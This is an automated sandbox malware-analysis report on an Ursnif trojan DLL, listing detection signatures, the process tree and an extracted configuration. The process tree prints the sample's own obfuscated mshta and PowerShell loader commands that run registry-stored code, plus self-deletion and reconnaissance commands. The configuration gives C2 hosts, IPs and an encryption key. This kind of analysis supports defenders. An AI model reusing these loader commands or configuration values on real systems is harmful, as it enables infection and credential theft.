Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
d6YCUW421p

Overview

General Information

Sample Name:d6YCUW421p (renamed file extension from none to dll)
Analysis ID:613908
MD5:c544f66e442fbb1864b5abc8c919ef14
SHA1:7648765f0e8c7247187592be8ffc15e862833b6b
SHA256:5747f4ec2678631d2b8b001a4e1aeec2a74788cdc1381fcbb36b8f5f699246a6
Tags:32dllexe
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Found malware configuration
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Tries to steal Mail credentials (via file / registry access)
Sigma detected: Windows Shell File Write to Suspicious Folder
Hooks registry keys query functions (used to hide registry keys)
Maps a DLL or memory area into another process
Uses nslookup.exe to query domains
Sigma detected: Accessing WinAPI in PowerShell. Code Injection
Machine Learning detection for sample
Allocates memory in foreign processes
May check the online IP address of the machine
Self deletion via cmd delete
Sigma detected: MSHTA Spawning Windows Shell
Sigma detected: Suspicious Call by Ordinal
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Modifies the export address table of user mode modules (user mode EAT hooks)
Writes registry values via WMI
Tries to harvest and steal browser information (history, passwords, etc)
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Sigma detected: Suspicious Remote Thread Created
Uses ping.exe to check the status of other devices and networks
Modifies the prolog of user mode functions (user mode inline hooks)
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Sigma detected: Mshta Spawning Windows Shell
Performs a network lookup / discovery via net view
Modifies the import address table of user mode modules (user mode IAT hooks)
One or more processes crash
Drops certificate files (DER)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Searches for the Microsoft Outlook file path
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Sigma detected: Suspicious PFX File Creation
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Sigma detected: Suspicious Rundll32 Activity
Internet Provider seen in connection with other malware
Contains functionality to query CPU information (cpuid)
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Enables debug privileges
PE file contains an invalid checksum
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Uses Microsoft's Enhanced Cryptographic Provider

Classification

  • System is w10x64
  • loaddll32.exe (PID: 408 cmdline: loaddll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 2220 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 2588 cmdline: rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 6468 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
          • rundll32.exe (PID: 3932 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h MD5: 73C519F050C20580F8A62C849D49215A)
    • WerFault.exe (PID: 4500 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 604 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
    • WerFault.exe (PID: 6724 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 612 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
    • WerFault.exe (PID: 6568 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 640 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
  • mshta.exe (PID: 6876 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Qq47='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Qq47).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 6856 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 3272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 2312 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 3284 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5B2D.tmp" "c:\Users\user\AppData\Local\Temp\vqkyohgm\CSCBF795D6899604BF9A48E638AB671C4FD.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 6296 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 6448 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES71E1.tmp" "c:\Users\user\AppData\Local\Temp\g2letrfe\CSC71DE0290BB9F401583CAD01729BF75D7.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • explorer.exe (PID: 3688 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
        • BackgroundTransferHost.exe (PID: 60 cmdline: "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 MD5: 02BA81746B929ECC9DB6665589B68335)
        • cmd.exe (PID: 5576 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\d6YCUW421p.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 3252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • PING.EXE (PID: 6340 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
        • RuntimeBroker.exe (PID: 4504 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
        • cmd.exe (PID: 3756 cmdline: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\6B3A.bi1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • nslookup.exe (PID: 1212 cmdline: nslookup myip.opendns.com resolver1.opendns.com MD5: AF1787F1DBE0053D74FC687E7233F8CE)
        • cmd.exe (PID: 504 cmdline: cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\6B3A.bi1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 5804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • RuntimeBroker.exe (PID: 4712 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
        • cmd.exe (PID: 5116 cmdline: cmd /C "systeminfo.exe > C:\Users\user\AppData\Local\Temp\DFA5.bin1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 6932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • cmd.exe (PID: 5020 cmdline: cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\DFA5.bin1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 7060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • RuntimeBroker.exe (PID: 2880 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
        • cmd.exe (PID: 6732 cmdline: cmd /C "net view >> C:\Users\user\AppData\Local\Temp\DFA5.bin1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 3784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
          • net.exe (PID: 6284 cmdline: net view MD5: 15534275EDAABC58159DD0F8607A71E5)
        • RuntimeBroker.exe (PID: 3720 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
        • cmd.exe (PID: 6660 cmdline: "C:\Windows\syswow64\cmd.exe" /C pause dll mail, , MD5: F3BDBE3BB6F734E357235F4D5898582D)
          • conhost.exe (PID: 6980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • cmd.exe (PID: 6804 cmdline: cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\DFA5.bin1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 6460 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
        • cmd.exe (PID: 1012 cmdline: cmd /C "nslookup 127.0.0.1 >> C:\Users\user\AppData\Local\Temp\DFA5.bin1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 1268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup
{"RSA Public Key": "pL7U8jIQ6Xyci+KwkOGf1cPW2/Fhd+dF//sxc+w06EDUcByHCNEeq3AMzyjoircBRXTmPPIhcdpmz3ebzg0LE5DJtHXLGNdffU4pfKjfVhDmO/39S4DkofaSw/DfVYS7XTULsvD4OgcLpBmdb9KtHDr5tcYukmu8ER2eGMJKWWH3QPIgCCGjluPn4AJBYaVv+PYiV87aKNKmQY2QyHTRdeOeR6t/zjeQ8WAxQr1ckNg8DXeFDVPzLqKlTMh9JNV1/WxJWw/i0NwLqKGVqwwhDZj7TdIN07N7A3Nsw4LKUmopfR2v3CfaFAElEJJF5iXQZdDs3LWMU3fma/lDGlnr41o8sOGT4DKtfI59bD0qne8=", "c2_domain": ["config.edge.skype.com", "67.43.234.14", "config.edge.skype.com", "67.43.234.37", "config.edge.skype.com", "67.43.234.47"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Q8tR9QJN7lLzOLle", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8,  *terminal* *debug**snif* *shark*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "999", "SetWaitableTimer_value": "1"}
SourceRuleDescriptionAuthorStrings
00000028.00000000.604999946.0000028A77740000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
    0000002E.00000002.895620050.000001EF36402000.00000004.00000001.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      0000001A.00000000.507197742.0000000000930000.00000040.80000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
        00000004.00000003.436099354.0000000005628000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security